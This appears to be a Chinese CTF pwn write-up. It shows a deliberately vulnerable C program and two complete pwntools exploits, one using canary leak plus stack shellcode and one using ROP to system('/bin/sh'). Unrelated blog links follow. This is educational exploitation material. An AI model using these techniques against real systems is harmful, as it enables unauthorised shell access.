源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> void setbufs()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
} int main()
{
char tips[]="suuuuuuuper easy test.";
char buf[32];
int len;
setbufs();
puts(tips);
read(0, buf, 4);
len = atoi(buf);
read(0, buf, len);
printf("%p:", &buf);
puts(buf);
read(0, buf, 0x100);
return 0;
}
进行编译

gcc -g -no-pie -z execstack -fstack-protector-all exercise.c -o exercise

无pie,无stack,有canary。

分析程序流程

首先读取输入长度的4个字符,把4个字符转换为整形数字作为下一次读取输入的长度,获取输入之后,打印出输入的地址,和输入的值,最后再一次获取输入的值,赋值给buf。

从栈上写shellcode来getshell

思路:首先由canary保护,又由于有输出输入的值,必然会造成canary的泄露。其次又输出了地址,即告诉了地址的值,便可以知道栈的位置,即shellcode写入的地址便可以知道,起初shellcode写在BUF地址处,行不通,调试发现,canary异或时的数值不对,于是知道了shellcode的字节数大于40,于是便将shellcode写入返回地址的下方

exp如下

#!/usr/bin/env python

from pwn import *
#io=remote("192.168.91.139",10001)
io=process('./exercise') io.recv() io.send('1111') io.sendline('A'*40)
io.recv(2) shellcode_address=int(io.recv(12),16) shellcode_address+=64 log.info(hex(shellcode_address)) io.recvuntil('A'*40) Canary=u64(io.recv(8))-0xa log.info(hex(Canary))
shellcode = asm(shellcraft.amd64.sh(),arch='amd64') payload=40*'A'+p64(Canary)+'A'*8+p64(shellcode_address)+shellcode
io.sendline(payload)
io.interactive()

使用rop来getshell

思路:

payload=40*'A'+p64(canary)+'A'*8+p64(puts_plt)+p64(main)+p64(libc_start_main_got)#0x4005F0是puts的PLT的地址

起初模仿wiki上的32位ELF进行rop发现vpcmpeqb ymm1, ymm0, ymmword ptr [rdi]指令出现问题。

查阅资料发现在64位环境下,函数的调用所需要的参数是优先通过寄存器来进行的。寄存器的顺序如下:rdi,rsi,rdx,rcx,r8,r9。当一个函数有大于6个整形参数,则超出的部分会通过栈来传递,这个情况少见。

搞了很久搞不出来,之后问了下室友,顺便看了一下别人的wp

使用ldd -d <文件名>获取libc库名称和路径。利用cp -p <libc库>到桌面,静态加载libc库。泄露canary之后再泄露PUTS的GOT表地址之后,获取system地址和'/bin/sh'的字符串地址,之后再一次劫持

EXP如下

#/usr/bin/env python
from pwn import *
p = process('./exercise')
libc = ELF('./libc64.so')
elf = ELF('./exercise') p.recvuntil('test.')
p.sendline('100')
p.send('a'*41)
p.recv()
recv = p.recv()
canary = '\x00' + recv[56:63]
print 'canary='+ canary pop_rdi_ret_addr = 0x0000000000400913
main_addr = 0x4007BF payload1 = 'a'*40 + canary + 'a'*8 + p64(pop_rdi_ret_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr) p.sendline(payload1) puts_addr=u64(p.recv(8)[0:6].ljust(8,'\x00'))
print 'puts_addr='+ hex(puts_addr) libc_base = puts_addr - libc.symbols['puts']
system_addr=libc_base + libc.symbols['system']
sh_addr = libc_base + libc.search('/bin/sh').next() p.recvline()
p.sendline('100')
p.send('a'*41)
p.recvline()
payload2 = 'a'*40 + canary + 'a'*8 +p64(pop_rdi_ret_addr) + p64(sh_addr) +p64(system_addr) + p64(0xdeadbeef)
p.sendline(payload2)
p.interactive()

pwn第一周的更多相关文章

  1. 第一周 总结笔记 / 斯坦福-Machine Learning-Andrew Ng

    课程主页:https://www.coursera.org/learn/machine-learning/home/welcome 收集再多的资料也没用,关键是要自己理解总结,做笔记就是一个归纳总结的 ...

  2. Surprise团队第一周项目总结

    Surprise团队第一周项目总结 团队项目 基本内容 五子棋(Gobang)的开发与应用 利用Android Studio设计一款五子棋游戏,并丰富其内涵 预期目标 实现人人模式:2个用户可以在同一 ...

  3. 20145213《Java程序设计》第一周学习总结

    20145213<Java程序设计>第一周学习总结 教材学习内容总结 期待了一个寒假,终于见识到了神秘的娄老师和他的Java课.虽说算不上金风玉露一相逢,没有胜却人间无数也是情理之中,但娄 ...

  4. 20145206邹京儒《Java程序设计》第一周学习总结

    20145206 <Java程序设计>第1周学习总结 教材学习内容总结 1.三大平台:Java SE.Java EE与Java ME.Java SE是各应用平台的基础,分为四个主要的部分: ...

  5. 20145304 刘钦令 Java程序设计第一周学习总结

    20145304<Java程序设计>第1周学习总结 教材学习内容总结 1995年5月23日,是公认的Java的诞生日,Java正式由Oak改名为Java. Java的三大平台是:Java ...

  6. 20145330孙文馨 《Java程序设计》第一周学习总结

    20145330孙文馨 <Java程序设计>第一周学习总结 教材学习内容总结 刚开始拿到这么厚一本书说没有压力是不可能的,开始从头看觉得很陌生进入不了状态,就稍微会有一点焦虑的感觉.于是就 ...

  7. 20145337《JAVA程序设计》第一周学习总结

    # 20145337 <Java程序设计>第1周学习总结 ## 教材学习内容总结 第一章 -Java最早是Sun公司撰写Star7应用程序的程序语言 -根据应用领域不同,有Java SE. ...

  8. Linux内核设计第一周 ——从汇编语言出发理解计算机工作原理

    Linux内核设计第一周 ——从汇编语言出发理解计算机工作原理 作者:宋宸宁(20135315) 一.实验过程 图1 编写songchenning5315.c文件 图2 将c文件汇编成32位机器语言 ...

  9. 20135328信息安全系统设计基础第一周学习总结(Linux应用)

    学习计时:共xxx小时 读书: 代码: 作业: 博客: 一.学习目标 1. 能够独立安装Linux操作系统   2. 能够熟练使用Linux系统的基本命令   3. 熟练使用Linux中用户管理命令/ ...

随机推荐

  1. adb常用命令总结

    针对移动端 Android 的测试, adb 命令是很重要的一个点,必须将常用的 adb 命令熟记于心, 将会为 Android 测试带来很大的方便,其中很多命令将会用于自动化测试的脚本当中. And ...

  2. lmir 随笔

    近期需要研究一些特征工程的工作,就打算把微软之前公布出来的特征都复现一遍,今天遇到的特征是 LMIR, 其实也就是language model for information retrieval的简写 ...

  3. CF1090H Linearization 构造、位运算、前缀和

    传送门 有点神仙的题目 首先注意到对于串\(s\),\(b=s_0\)一定会比\(b = s_0 \bigoplus 1\)更优 考虑先分析linear串的性质.注意到位运算考虑按位处理.我们考虑\( ...

  4. SpringBoot 多数据库支持:

    SpringBoot 多数据库支持: springboot2.0+mybatis多数据源集成 https://www.cnblogs.com/cdblogs/p/9275883.html Spring ...

  5. CCF 2016-12-1 工资计算

    CCF 2016-12-1 工资计算 题目 问题描述 小明的公司每个月给小明发工资,而小明拿到的工资为交完个人所得税之后的工资.假设他一个月的税前工资(扣除五险一金后.未扣税前的工资)为S元,则他应交 ...

  6. Python之模型的保存和加载-5.3

    一.模型的保存,主要是我们在训练完成的时候把训练下来的数据保存下来,这个也就是我们后续需要使用的模型算法.模型的加载,在保存好的模型上面我们通过原生保存好的模型,去计算新的数据,这样不用每次都要去训练 ...

  7. Thread-specific data(TSD)线程私有数据

    Thread-specific data(TSD)线程私有数据 http://blog.chinaunix.net/uid-26885237-id-3209913.html linux多线程编程中引入 ...

  8. MySQL数据库连接报错

    数据库版本8.x和其他版本配置有区别: 1. 驱动依赖和连接 报错: Could not create connection to database server - java mysql conne ...

  9. Linux中etc目录详解大全总汇详解

    /etc etc不是什么缩写,是and so on的意思 来源于 法语的 et cetera 翻译成中文就是 等等 的意思. 至于为什么在/etc下面存放配置文件, 按照原始的UNIX的说法(Linu ...

  10. 【洛谷 P3966】 [TJOI2013]单词(AC自动机,差分)

    把单词连起来,中间插入间隔符,同 #include <cstdio> #include <queue> #include <cstring> using names ...